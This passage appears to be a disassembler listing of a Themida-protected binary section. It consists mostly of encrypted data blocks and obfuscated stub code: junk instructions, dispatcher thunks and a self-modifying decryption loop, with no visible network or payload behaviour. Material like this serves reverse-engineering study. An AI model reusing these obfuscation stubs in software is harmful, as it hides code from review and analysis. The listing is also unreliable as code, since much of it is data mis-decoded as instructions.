		dd 8D29D291h, 7C639AE5h, 0B5A9218Eh, 511FDF0Dh,	0EF6EA506h
		dd 850E89CAh, 27D67548h, 7443BBA2h, 9C598ED9h, 0FCEFE126h
		dd 38DF66B1h, 2055F0C1h, 0EC6377DAh, 33F2BDD8h,	0C582FFDAh
		dd 25FC63F7h, 0F23D7086h, 0FAE120A7h, 0A178B500h, 79225968h
		dd 0BF1CA638h, 0FFD20F64h, 7C17AE60h, 7C39041Fh, 6AD348Dh
		dd 0E916AF7h, 0EA4C544h, 0EA35805Ah, 80C4Fh, 0DAE80000h
		dd 457C8C73h, 9A6DDC08h, 10E98823h, 956706A1h, 13E88722h
		dd 9D6807A2h, 1FEA8924h, 9A6C0BA6h, 1DE98823h, 9C6C0BA6h
		dd 68FA8A25h, 3837h, 53240C89h,	0C381E389h, 4, 4EB81h
		dd 1C870000h, 0C895C24h, 5F416824h, 1C890000h, 7B2E6824h
		dd 0C8B07FFh, 4C48324h,	241C8B54h, 4C481h, 8F510000h, 34FF0843h
		dd 0C4835B24h, 2434FF04h, 4C48159h, 0E9000000h,	0FFFBCA50h
		dd 0E1AF641h
; ---------------------------------------------------------------------------
		pop	ss
		assume ss:nothing


loc_5DBF11:				; CODE XREF: Themida_:005DAF10j
		mov	eax, 7FF8A76h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		mov	ds:0E94219A4h, al
		db	36h
		pusha
		push	edi
		db	3Eh
		push	26h
		cmp	al, 19h
		sub	ch, [esi]
		popa
		icebp
		adc	eax, 1A760E04h
		stosb
		push	ebx
		test	[edi+1Ch], bl
		sbb	al, 1Dh
		pop	eax
		sub	ebp, [eax+69h]
		sbb	[edx], ecx
		add	ebp, edx
		add	esp, ebx
		dec	edx
		push	ebx
		retf
; ---------------------------------------------------------------------------
		dd 1B497B61h, 0FB8F57F7h, 0A8C7255h, 0ECB14980h, 0A60A2402h
		dd 72655325h, 337B15E2h, 9258148Bh, 98D967A6h, 6A4E5E11h
		dd 10730E36h, 27E919C3h, 0DD000000h, 569B06h, 8	dup(0)
		dd 2AE90000h, 9000005h,	0AE5B910Dh, 57043A64h, 0FDAAE0BEh
		dd 0A9568C12h, 0CC003668h, 0BDE13017h, 643ADA87h, 0F8F812Eh
		dd 0B7E72CD9h, 3E5AB281h, 7E60EDBh, 0A7ECA309h,	5E19F66Ch
		dd 0E683DF42h, 43AC05FFh, 0DDC153B8h, 267B0B74h, 69879E9h
		dd 43E9527Bh, 0C7C64BB0h, 0B461F749h, 21C170EAh, 0DE76AC15h
		dd 6E148A89h, 0C14C52C1h, 0AAF41C71h, 0BBBC5704h, 0E71B3C9Fh
		dd 930B06FFh, 90F952h, 14FD65ABh, 6DD6FF8Ah, 14B9E2h, 65F89Eh
		dd 0A8018C12h, 550D0358h, 2E57E2BCh, 0E49E1FC5h, 0C6E8EB15h
		dd 53AFFF2Bh, 8B1300ADh, 3668A855h, 0E1BD5300h,	0CADC0656h
		dd 5BAC0D45h, 67AD5A00h, 0DA1AAC37h, 26A6E3B0h,	882ECCDAh
		dd 0A7694D07h, 0FF14C1F7h, 82E8149Fh, 0B3FFE6C6h, 0D764012Bh
		dd 25000DA7h, 0A248B1EDh, 58986721h, 0E6F9D93Ch, 8AE07FFh
		dd 75050038h, 679E38h, 0A72F0000h, 5BB60B6Ch, 238FB843h
		dd 0FFE683C0h, 9F0E7CE6h, 27BAD351h, 7ACA55BEh,	0D99B9650h
		dd 0FD127DFAh, 84ED16A1h, 77056ADEh, 0AA32FFE7h, 76EB4E6Ah
		dd 8419FFE7h, 0FFA50E90h, 85BDC47Eh, 23387583h,	1, 0F76BA7B4h
		dd 921D8618h, 2EB9E52Dh, 0CD5846C9h, 9D813B74h,	7B23ED75h
		dd 285EC7F0h, 0D006987Bh, 0A967BC19h, 6FA24FF5h, 0D33FA42Fh
		dd 0F32440CBh, 0A6BC5539h, 94CA336Bh, 2F4B2CE7h, 0FFE683CCh
		dd 832C8FABh, 15AFFE6h,	0B8E62BC0h, 329B042Dh, 0CBD342A7h
		dd 0E09A1B40h, 837DE711h, 1F1ECBC0h, 1E61A979h,	6CFF3875h
		dd 90000000h, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0EBB35E0Bh
		dd 841AFB60h, 3598B4F4h, 5BFFE683h, 70C95C02h, 78997D37h
		dd 358F026h, 0DD06910Dh, 17878A37h, 0B6E8278Ch,	0CB85062Bh
		dd 74897CC4h, 511A38h, 75CA0000h, 4F78039Bh, 6AA7F2A9h
		dd 8E7A4B23h, 319A9B46h, 0CFCF41A6h, 5BF0044h, 78AEF021h
		dd 2184A0E0h, 4FFFE694h, 0BC9950F6h, 82FD607Ch,	0CA23FFE6h
		dd 39B7724h, 82E64C78h,	0A617FFE6h, 8FADE5ECh, 84B3874h
		dd 0FB000000h, 0AA3569A6h, 0A724DB81h, 55A5306Eh, 38E1000h
		dd 8C8734DAh, 0CCF58712h, 0B7E72E12h, 0F7692081h, 99ED4B67h
		dd 0C01907E0h, 5B43D035h, 39B7825h, 0C144973h, 0F9D5B657h
		dd 349B9058h, 791F8864h, 5D55BAE6h, 0FB3C07E1h,	0E8B65D41h
		dd 0CBAE2E58h, 0DB1B9F1h, 977C2967h, 0FC177C07h, 0CAFB17A2h
		dd 0B7E72C10h, 613DD227h, 75AD7DBBh, 5C406EB7h,	7E073B32h
		dd 0BE4ED4FAh, 0E0CE3FA2h, 660C6507h, 13785h, 96F31600h
		dd 0C81E3ACAh, 0D607E0B8h, 44CFCF41h, 0D727B21Bh, 670D9182h
		dd 0F4559BAh, 0C7DCB162h, 55DD0A11h, 18868C31h,	54BF24AFh
		dd 0F89D010Eh, 0D1FA8519h, 90C1DD68h, 7D21F2D6h, 0B75AAF47h
		dd 397141E7h, 0D7406F5Bh, 52h, 0C69AF368h, 83971A36h, 0E43D7FE6h
		dd 95F81454h, 0BB7FE682h, 0FD29BC62h, 7FE6829Ah, 0FC944E77h
		dd 747D791h, 4A4B07DDh,	0EBA76564h, 18C53F79h, 48C76CDFh
		dd 0B93CB056h, 27FFE5D8h, 28E93ECEh, 48C2EB76h,	0B2656E3h
		dd 7BB95FBAh, 9B94h, 96F32D00h,	0B41E3ACAh, 3207E09Ah
		dd 0C029759Dh, 2D35DB30h, 52EB9E5h, 67AC119Ch, 1A83AC37h
		dd 990B6E8Ah, 0E03907E0h, 0D142A73Ah, 29EA97CDh, 459AEA75h
		dd 0A44CFCFh, 0C1723D2Fh, 6AC1525h, 0E1202A92h,	7E387907h
		dd 0EF25799Ah, 910D0257h, 0D637DD06h, 11DADB3h,	0FE0AAD0h
		dd 4DB23D96h, 0BB4DD8C6h, 6441517Bh, 0A63C5284h, 2DC57F00h
		dd 5874045Ch, 7EBC027h,	1F829EDEh, 0C07E0BCh, 2C8AF647h
		dd 0E63F8093h, 42CDD141h, 0D12A7319h, 82E50141h, 0B007E08Ch
		dd 0BC73B157h, 3ACA96F3h, 0E60EED1Eh, 0F37EA807h, 741E36F8h
		dd 2A83CC72h, 0F30F4F9Fh, 7E66D90h, 0EEE35DB6h,	0B63D3126h
		dd 0D53EEB91h, 2DE693C9h, 77BAE671h, 5594A45h, 0E52E12CCh
		dd 3DD683B9h, 9E71D661h, 0A3E37500h, 3CE44763h,	0B9125682h
		dd 0F4D89213h, 0FC18581Fh, 56823D99h, 9F026EC7h, 0C556823Dh
		dd 20CD036Ch, 8120ABF3h, 1Ch, 7ADDF939h, 0A856823Dh, 37A0FE13h
		dd 7BBBDA91h, 27B2EC26h, 0E2BC59FEh, 0D1882E57h, 0A42F6FA7h
		dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h,	0B13C62AFh
		dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E2895252h, 4C281h
		dd 0EA830000h, 24148704h, 2434895Ch, 7B2368h, 24048900h
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 52243C89h, 9308A068h
		dd 24148B36h, 4C481h, 0EA810000h, 18000C4h, 4172EA81h
		dd 0E281237Dh, 2423234Eh, 76E8EA81h, 0D089F801h, 3C8B545Ah
		dd 4C48324h, 0FBB5352h,	0BA52912Fh, 52912F07h, 15BDA31h
		dd 5A0289FAh, 5F2434FFh, 4C481h, 34FF0000h, 0C4835824h
		dd 0EE6AE904h, 90E3FFFAh, 9000B854h, 0C50307FFh, 4920E0FFh
		dd 37AE40FFh, 0BC3F19C1h, 2EB81343h, 51302E47h,	35FC7013h
		dd 0D8753555h, 8BF3534Eh, 596B5CEFh, 5EC45E39h,	8E8B3D2Eh
		dd 0A9535966h, 0F5A75C99h, 11DF2A35h, 0B7D29E1h, 0B72736F6h
		dd 0E6A85854h, 93A207BAh, 0A37C7D7Eh, 311C6A3Ah, 0B6BB6065h
		dd 0D45E33C0h, 0F4670AD5h, 16187619h, 0B8A432Bh, 12E848F5h
		dd 0D4000000h, 0EA7F2113h, 0E8ECEB3Dh, 0A7B25229h, 0CB1E7C84h
		dd 0BE91Ah, 7F00000h, 4F320050h, 871EE066h, 11E85B6Ch
		dd 59000000h, 61843AB8h, 0C41DC173h, 4BA940D5h,	0E40D375Eh
		dd 5850Fh, 5BBA0000h, 5A718ECBh, 5CF7C381h, 81510000h
		dd 0A33B17D6h, 0FAB95A6Ch, 0F000016h, 1784h, 0FE800h, 0C4530000h
		dd 51675D33h, 7B8BC36h,	23EB028h, 5E585240h, 6E833FFh
		dd 0A7000000h, 8CE7AB9Dh, 1CEA8189h, 5E22C2D6h,	902FBE5Fh
		dd 0C7812606h, 6CC7143Dh, 9949C781h, 8A0F5D55h,	5, 0B95984BEh
		dd 0C1C78105h, 0F4444B5h, 8Ah, 603B8900h, 8E1BE66h, 8E9h
		dd 652E2700h, 0C29642C7h, 0EB8161DDh, 7848ABD3h, 13E8h
		dd 58C5C200h, 4F285CF3h, 1D74245Ch, 0AFF9EF59h,	5F096A80h
		dd 315ED281h, 815A7839h, 48ABCFC3h, 81665378h, 5A5497CEh
		dd 75850F49h, 0E9FFFFFFh, 0Eh, 0DA140991h, 3500499Ah, 0B748CFB6h
		dd 9D8D0A94h, 7FA17D9h,	0CEB8h,	0CD858900h, 0E807FA14h
		dd 0
; ---------------------------------------------------------------------------
		pop	eax
		add	eax, 0Dh
		mov	[ebx], eax
		jmp	loc_5DC743
; ---------------------------------------------------------------------------
		db 2 dup(0), 0F2h
		dd 32h dup(0F2000076h)
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DC743:				; CODE XREF: Themida_:005DC670j
		jmp	short loc_5DC7A5
; ---------------------------------------------------------------------------
		align 4
		dd 17h dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5DC7A5:				; CODE XREF: Themida_:loc_5DC743j
		jmp	loc_5DD282
; ---------------------------------------------------------------------------
		jmp	loc_5DD27B
; ---------------------------------------------------------------------------
		push	7FF9AD7h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FF9C13h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		push	7FF9C66h
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 33h,	0E3h, 0BBh
		dd 643AD885h, 0A94812Eh, 0B6E827D4h, 603ED380h,	5A41F62Ah
		dd 4B1E7B7h, 0AB588E10h, 56033965h, 0DCABE1BDh,	16056884h
		dd 0C52B07E6h, 0A6DA70Eh, 0E6838BEEh, 0F760B9FFh, 0AF04546Ch
		dd 8AB33E60h, 0C1DD37E4h, 2D35DE8Bh, 22BB6E8h, 67A90E99h
		dd 0CD47AC37h, 30E146D1h, 937EE36Eh, 0F41B800Bh, 5BBA1FAAh
		dd 0BF53B843h, 4E3B54DFh, 0F65F3FD6h, 15EB4A66h, 841907E6h
		dd 5C85108Eh, 40E63F3h,	8B03649Ah, 0CA2945D5h, 0F807E616h
		dd 64AF149Fh, 0BF55AA3Ah, 44FB39DFh, 0F1AD67BCh, 29759E4Bh
		dd 0D1CD4499h, 71C1742Bh, 0FFA5F91Ch, 0C799F348h, 845F1618h
		dd 3774833Ch, 2CDAh, 0E0358A00h, 640A33BEh, 0C799F3ADh
		dd 3DA0BC18h, 63FFE683h, 5DBC5B0Ah, 84336BA7h, 0E11692BCh
		dd 0F3929F59h, 6D43A24Dh, 3Fh, 0C799F306h, 527CBC18h, 394037FDh
		dd 0BE218D3Dh, 0E4FFE736h, 314DE58Bh, 0FFE736CEh, 0DEC050A5h
		dd 19842A53h, 0E64F4FC4h, 8A140156h, 7930D6FFh,	6BA75DBCh
		dd 0E5C1A222h, 0E64F26FBh, 0F34AA937h, 1E3ACA96h, 7E0A07Ch
		dd 1A46D12Ah, 7E09FB3h,	0B3823CBDh, 9EF45773h, 0C92207E0h
		dd 0AB1B5323h, 62B9406Eh, 4A000001h, 35C59BF3h,	0E683BE19h
		dd 0D24095FFh, 731841CCh, 4972FDA1h, 71015AA3h,	0BEB67B47h
		dd 46EC1798h, 20E63B3h,	42E8119Ch, 90207E95h, 11D13450h
		dd 0A6FFFFE7h, 0BC0BC200h, 4FF5A967h, 9D2D71A2h, 0C1647E73h
		dd 761CDBC8h, 0F352C1BFh, 1618C799h, 833C845Fh,	41DA3774h
		dd 6B000000h, 18C799F3h, 833DA0BCh, 0A63FFE6h, 527CBC5Bh
		dd 0A8C6449h, 1B85E8Fh,	1EF76BA7h, 0A9681780h, 456D4Ah
		dd 0FB250000h, 0E87EDA3Bh, 96F915EBh, 0BCFFE6E5h, 4E6AFA63h
		dd 0FFE6E4EBh, 631AC019h, 18C799F3h, 833DA0BCh,	2841FFE6h
		dd 0BC5DBC79h, 4BF1AD67h, 7B2A749Eh, 993692BCh,	91E44763h
		dd 0B912FFE6h, 2CA8D83Fh, 0F37CDB86h, 1935C59Bh, 0FFE683C2h
		dd 0F98B5781h, 0E9AA95CEh, 16A1FA43h, 0AC3C62B1h, 57E2BC57h
		dd 934A882Eh, 83326CA7h, 0F1AD67BCh, 0F349B84Bh, 2276A099h
		dd 2C0F659Dh, 2594F763h, 69C2FFE7h, 5F165100h, 0F4AA67BCh
		dd 83367E4Eh, 28D43774h, 65000000h, 18C799F3h, 0EE277CBCh
		dd 1A5A36B0h, 0C453709Dh, 4C47AA1Eh, 146DFFE7h,	0A75DBC65h
		dd 0A984336Bh, 1D6D4Ah,	0F3060000h, 0BC18C799h,	6BF6A867h
		dd 0E8049C42h, 0FFE68385h, 0BCC17089h, 336BA75Dh, 6D4AA984h
		dd 0B5h, 0C59BF306h, 83BE1935h,	8BE4FFE6h, 0B571D1FBh
		dd 0CD7579B4h, 0E42F9427h, 97EC84BAh, 0C37A207Eh, 83326CA7h
		dd 99F352C1h, 5F1618C7h, 74833C84h, 0C7E32337h,	0FCE68364h
		dd 0B2933992h, 51h, 0A099F343h,	0E6832184h, 8DF64FFFh
		dd 3DA0BCDEh, 14FFE683h, 0BF4A54BFh, 27A7F096h,	0D45F3FD2h
		dd 83DC3FABh, 750AFFE6h, 4A73FEA0h, 93E878E1h, 0C0771D81h
		dd 6BA75DBCh, 0C24EA333h, 0A97F36DCh, 2F6D4Ah, 0E5250000h
		dd 0E68366C9h, 8D338CFFh, 0C799F3D6h, 0AC67BC18h, 834CAFCBh
		dd 217AFFE6h, 5E042DB8h, 8347AAC6h, 324BFFE6h, 0A75DBC83h
		dd 0A984336Bh, 0AC67BC4Ah, 749F4CF2h, 0D63A9F2Ah, 2EE592C8h
		dd 54B9E570h, 0F1FFE683h, 4ED587B1h, 17B23EDh, 0DA808F2Ch
		dd 58BB9F59h, 2284090Ah, 37A6518h, 6CFC65CEh, 4C260942h
		dd 0E98F613Bh, 51BE13ABh, 19FAA74Dh, 0C69FA85h,	16A1FD16h
		dd 0FB1760B1h, 0FFE75A98h, 71FC65BEh, 9B6A2455h, 0E75A1C7Fh
		dd 88F14AFFh, 0A55B8505h, 61B4E831h, 27E16208h,	98CED043h
		dd 7E0E5237h, 0E177C062h, 28DE607h, 8AF688B2h, 0B74A6339h
		dd 43369D11h, 0BF4007E1h, 4FC6FE05h, 58AD406Fh,	5A3BE1BDh
		dd 2Ch,	326CA7EBh, 83187BA7h, 84ADFFE6h, 352DE6CAh, 0B34BFDFh
		dd 71E812A2h, 63E6B40Eh, 0FE8915FEh, 88C66CD5h,	2A749BF0h
		dd 19D0769Fh, 0A7326CA7h, 0D565FB8Eh, 0E616AEB9h, 719F3407h
		dd 2D8EC42Dh, 5874045Ch, 0FE032B6h, 9F5572DCh, 0DF898B98h
		dd 48BCE676h, 7C778B7Ch, 669225CBh, 0FFEC74FFh,	12477109h
		dd 0C74555C3h, 811DF499h, 0A627CDF6h, 0CCADE5ECh, 384B3879h
		dd 0DC000000h, 35C59BF3h, 0E683C619h, 0EB287DFFh, 4FC328B3h
		dd 0F740E64Fh, 57B90E9Eh, 83A10420h, 76CFFFE6h,	0B359820Dh
		dd 284FC61Bh, 0E683A90Ch, 157ED7FFh, 1BF8DFh, 0F3910000h
		dd 1935C59Bh, 0FFE683C2h, 92E777D0h, 618B1B83h,	311050CDh
		dd 0A1DF85E9h, 1B46DEAh, 0E5250000h, 0E68366C9h, 8D338CFFh
		dd 0C49CF3D6h, 0BC52C115h, 82FD607Ch, 0CA23FFE6h, 29C7724h
		dd 845F1653h, 3774833Ch, 53DAh,	67BC6B00h, 3F68F3ABh, 833093AFh
		dd 0FD56FFE6h, 0CF99F657h, 3DA0BC20h, 63FFE683h, 0D05B43CEh
		dd 84AE3EA7h, 0BCB1936Eh, 8E77FFB2h, 2DDCD9BAh,	0BC671EC4h
		dd 0AB67BC5Dh, 75A04DF3h, 0CF449929h, 0A97229CFh, 7AA83F69h
		dd 0DF928BEBh, 3A6D8239h, 6000000h, 15C49CF3h, 833DA0BCh
		dd 1741FFE6h, 0AC013CBEh, 504EC40Eh, 0CA339CC5h, 0BDDB103Ah
		dd 0BDE7691Eh, 7CBC6017h, 20A0ED27h, 0DA7963C1h, 56BF64CDh
		dd 0A7EBA248h, 0A981306Eh, 607CBC4Ah, 0FFE682FDh, 7724CA23h
		dd 0BC53029Ch, 0FB47B892h, 0B3594905h, 99F3B120h, 30E237C7h
		dd 1611C86Eh, 833C845Fh, 62DA3774h, 6B000000h, 0B5F392BCh
		dd 9940A0Bh, 419166E0h,	0CF3866A9h, 0A2C4C829h,	3DA0BCF3h
		dd 63FFE683h, 1E3A7A0Ah, 0FFE683BBh, 33EA90E9h,	7C527CBCh
		dd 3F58BFBBh, 81012D9Bh, 2F1AE07h, 92BCA55Ch, 2A0F43CCh
		dd 2BD87EDCh, 5997BE7h,	0B0CC0C9Ch, 0FFE6D54Dh,	0A0751A73h
		dd 0A44A73FEh, 6D4AA9EDh, 43h, 0C799F306h, 3DA0BC18h, 41FFE683h
		dd 92BC7928h, 0B29A3A57h, 5648CAF7h, 9339A2CBh,	7CBC9CFBh
		dd 0E682FD60h, 3ACA23FFh, 0E683BB1Eh, 0EA90E9FFh, 1AC9D53Dh
		dd 0D2969A9h, 0FFE683AAh, 35DA7FD8h, 0A70CC369h, 50A53569h
		dd 2851DCC2h, 5F9FEF82h, 0E683E043h, 7AD06FFh, 0E6832D93h
		dd 0CAF43CFFh, 62649C21h, 8F10B677h, 7F1FF1D5h,	69A79249h
		dd 838FF20Eh, 147CFFE6h, 815A57B5h, 3DD86DAEh, 44ADD661h
		dd 0C52E709Fh, 76D9F535h, 4DFFE77Ah, 0E77ACE31h, 5A9BF4FFh
		dd 78C85B01h, 24AFEF23h, 7A55B8D4h, 227BFFE7h, 0AA6613B9h
		dd 1C4D69F4h, 0E5927E62h, 0E77A66C9h, 1CF78CFFh, 7AB01982h
		dd 0E784E006h, 81D666FFh, 57800B93h, 88A6E1B1h,	0EE463875h
		dd 0D7FFFFFDh, 0E68379E0h, 83957CFFh, 3498FFE6h, 37FFE683h
		dd 0FFE683D0h, 0E6836CD3h, 83086FFFh, 6B1EBFE6h, 0E52565F5h
		dd 0E68366C9h, 8D338CBFh, 0E3A85519h, 9D2881C7h, 0CB5B0584h
		dd 2945618Bh, 65771188h, 0A1014BBFh, 0CC25CFDEh, 99E4360Eh
		dd 3DDC1759h, 294h, 0D006987Eh,	79AFEF23h, 1F5549CCh, 0CB019D72h
		dd 75ABF31Eh, 6EA38C41h, 0C74DFA30h, 1CF4A1D7h,	749F4C82h
		dd 0CD25F42Ah, 0E61D4EB1h, 570E7407h, 0A7326CA7h, 0D565FB8Eh
		dd 0E616AAB9h, 0A9DF3807h, 0E616CE35h, 0BBA5E407h, 0A9AC0F2Bh
		dd 81DA0FE5h, 28769CF1h, 7E95EA82h, 837ADDF9h, 0CF44FFE6h
		dd 16F98ECFh, 6BD4FD88h, 0F41FCC02h, 8FCF1FAAh,	84E54165h
		dd 2591A43Dh, 0FFE69DC2h, 7DF197F0h, 0FFE69D1Eh, 6BFB6524h
		dd 6CCFEB2Bh, 9AFFE69Dh, 20279B41h, 8E07E631h, 0C350A535h
		dd 1BF8A5DBh, 0AADFF883h, 0FF0A26B6h, 0A50FE59Fh, 0E1A8C14Ch
		dd 7B9AEF7Fh, 9D7DE0FCh
		dd 4AA3FFE6h, 8E1C56E1h, 4BBDD1F9h, 6A02A811h, 0E6D7EF4Eh
		dd 24B40D07h, 0E2139FFAh, 6A1051BCh, 0E1967DD2h, 0E64B62C5h
		dd 0CE379007h, 732BE93Eh, 0C9283E8h, 12BFFDA3h,	0F75A7601h
		dd 1D07E64Ah, 67D84AC4h, 5F470B1Bh, 943C66F6h, 3123D7AAh
		dd 123ED177h, 7E644ABh,	898C8C1h, 0E5D3DDECh, 4682AC0Fh
		dd 9F83890Bh, 8FE831D7h, 0C29EEB04h, 0C7101632h, 65BE07E0h
		dd 640385A7h, 0CC6BA69Eh, 158h,	0C425CBAh, 0B5EBB35Fh
		dd 5B910D08h, 73D61AEh,	0B1E7B75Ah, 32DFC87Dh, 8B89366Ch
		dd 0E030DD13h, 38DB88BEh, 9613066h, 0E61F8AEDh,	9B52B807h
		dd 3ACA96F3h, 0E6170F1Eh, 0A9348D07h, 0D767F990h, 0E03801BBh
		dd 0CE8CE50Fh, 999B8A62h, 5E988C3h, 0D000001h, 0B25F9509h
		dd 5B083E60h, 1AEE4BAh,	0AD5A900Eh, 0D0043A64h,	0C1DD341Bh
		dd 6836DE8Bh, 138B8532h, 0BBE330DDh, 425EB685h,	7E61FDFh
		dd 0BCE89F05h, 4FF5A967h, 35C59BEEh, 0E6171219h, 0F61C7107h
		dd 4EF41DA8h, 0C71CAC05h, 1BAE544Ah, 0B415DB6h,	5EE9B55Eh
		dd 8C1C4445h, 0E5A90D70h, 5EB3330Fh, 355EE9B5h,	0E68366C9h
		dd 8E338CFFh, 7CB21B83h, 255B43CFh, 0CE314D8Dh,	0F4FFE683h
		dd 0CD48F59Bh, 21EE9BD1h, 83D73A56h, 0A4FDFFE6h, 2D6D053Bh
		dd 0E683AE11h, 3854D4FFh, 0FFE683D5h, 9339A2FBh, 3D732BE6h
		dd 0DBC350A5h, 0D4812750h, 7E2B613Dh, 25D20896h, 0D07DB3EBh
		dd 8D255B43h, 1CC2DC38h, 0C3F9A56Fh, 0A9392762h, 0AA0D2969h
		dd 74FFE683h, 65BEFF9Fh, 15E84BBFh, 95BF07E6h, 1E0F47CCh
		dd 0C6E2722Bh, 7E62463h, 49923891h, 130065F0h, 0D6E558Bh
		dd 7000000h, 0FD607CBCh, 23FFE682h, 2C8B24CAh, 0A42F6FA7h
		dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h,	0B13C62AFh
		dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 32D76852h,	2C890000h
		dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	782Eh
		mov	[esp], ebx
		push	esi
		mov	esi, 76587DADh
		shl	esi, 2
		neg	esi
		add	esi, 70B0271Ah
		push	edi
		mov	edi, 3462798Ch
		neg	edi
		neg	edi
		inc	edi
		or	edi, 4112035Dh
		xor	edi, 0FA3CE707h
		sub	esi, edi
		pop	edi
		mov	ebp, esi
		pop	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	6AA1h
		mov	[esp], eax
		mov	eax, 8
		add	eax, ebx
		mov	[eax], ebp
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58B334
; ---------------------------------------------------------------------------
		db 6Bh,	0F4h, 0E5h
		dd 6118E456h, 101DB53Fh
		db 5Fh,	0DEh, 0B1h
; ---------------------------------------------------------------------------


loc_5DD27B:				; CODE XREF: Themida_:005DC7AAj
		mov	eax, 7FF9D90h
		add	eax, ebp


loc_5DD282:				; CODE XREF: Themida_:loc_5DC7A5j
		mov	eax, ebx
		call	sub_5DD290
		dec	ecx
		cwde
; ---------------------------------------------------------------------------
		db 0FEh
		dd 795746E0h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5DD290	proc near		; CODE XREF: Themida_:005DD284p
		jmp	sub_5DD2A1
sub_5DD290	endp

; ---------------------------------------------------------------------------
		fcom	dword ptr [ebx+ebx*2]
		cmp	eax, 7E247E52h
		push	es
		dec	esi
		and	ah, bl

; =============== S U B	R O U T	I N E =======================================



sub_5DD2A1	proc near		; CODE XREF: sub_5DD290j

arg_0		= dword	ptr  4

		pop	ecx
		mov	eax, ebx
		add	ecx, 74C7h
		xor	dl, 0C4h
		mov	ebx, 12CEE352h
		xor	ebx, 12CEFE54h
		jmp	loc_5DD2CE
; ---------------------------------------------------------------------------
		db 86h,	22h, 2Bh
		dd 0B8FF28ECh, 329E8770h, 5C16E28Dh
; ---------------------------------------------------------------------------
		jge	short loc_5DD2E4


loc_5DD2CE:				; CODE XREF: sub_5DD2A1+17j
					; sub_5DD2A1+8Cj
		push	dword ptr [ecx]
		pusha
		sub	esi, 59D67989h
		add	dx, 0E551h
		popa
		pop	edi
		jmp	loc_5DD2F3
; ---------------------------------------------------------------------------
		inc	ecx


loc_5DD2E4:				; CODE XREF: sub_5DD2A1+2Bj
		aam	87h
		xor	bl, [eax+eax*8-5CA0B448h]
		mov	edx, 9F55242Bh
; ---------------------------------------------------------------------------
		db 0A2h
; ---------------------------------------------------------------------------


loc_5DD2F3:				; CODE XREF: sub_5DD2A1+3Dj
		add	edi, 4BD03979h
		jmp	loc_5DD304
; ---------------------------------------------------------------------------
		fst	dword ptr ds:9F3B3AC9h


loc_5DD304:				; CODE XREF: sub_5DD2A1+58j
		sub	edi, 6F9F484Ch
		sub	edi, 69684DD0h
		jo	loc_5DD319
		movzx	esi, ax


loc_5DD319:				; CODE XREF: sub_5DD2A1+6Fj
		mov	[ecx], edi
		mov	dx, bx
		sub	ecx, 3
		jnp	loc_5DD329
		mov	dh, 11h


loc_5DD329:				; CODE XREF: sub_5DD2A1+80j
		dec	ecx
		mov	dh, 0D1h
		dec	ebx
		jnz	loc_5DD2CE
		jnb	loc_5DD33C
		mov	dx, ax


loc_5DD33C:				; CODE XREF: sub_5DD2A1+92j
		jmp	loc_5DD484
; ---------------------------------------------------------------------------
		cmc
		lea	esi, [ebp+7FF9F7Eh]
		clc
		lea	eax, [ebp+7FD7DE2h]
		push	0
		push	edi
		call	loc_5DD35A
		and	[edi-3Dh], bl


loc_5DD35A:				; CODE XREF: sub_5DD2A1+B1p
		pop	edi
		mov	[esp+arg_0], edi
		add	[esp+arg_0], 16h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		dw 4806h
		dd 1860FB4h, 0F8000000h, 6AD0FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 41726DC3h, 81500EDDh
		dd 6AC390B4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0A59EC357h, 165CC1D0h,	66326226h
		dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0A30D64C3h, 816660A0h, 0B77161D2h, 0C1F661F6h
		dd 4B840F04h, 0F5000000h, 0C8D0Fh, 840F0000h, 6, 8F0Fh
		dd 0FB8B0000h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h
		dd 0EBD98Bh, 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch
		dd 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh,	0CF000000h
		dd 15850Fh, 890F0000h, 0Fh, 0AE9h, 571BB500h, 4A4F6674h
		dd 0E90C142Bh, 0Eh, 0E6C6404Ch,	3FB4462Fh, 0CF62056Eh
		dd 0DE94D44h, 0B9000000h, 0F1347129h, 91C4190Bh, 0DF03949Eh
; ---------------------------------------------------------------------------


loc_5DD484:				; CODE XREF: sub_5DD2A1:loc_5DD33Cj
		mov	dword ptr [ebp+7FF9FDDh], 1013Fh
		lea	ecx, [ebp+7FFA101h]
		push	0
		push	ebx
		call	sub_5DD49F
		and	[ebx-3Dh], bl
sub_5DD2A1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5DD49F	proc near		; CODE XREF: sub_5DD2A1+1F6p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5DD49F	endp

; ---------------------------------------------------------------------------
		or	[edi], cl
		mov	edi, 0D98D89D7h
		sbb	al, 0FAh
		pop	es
		push	0
		push	esi
		call	sub_5DD4C4
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



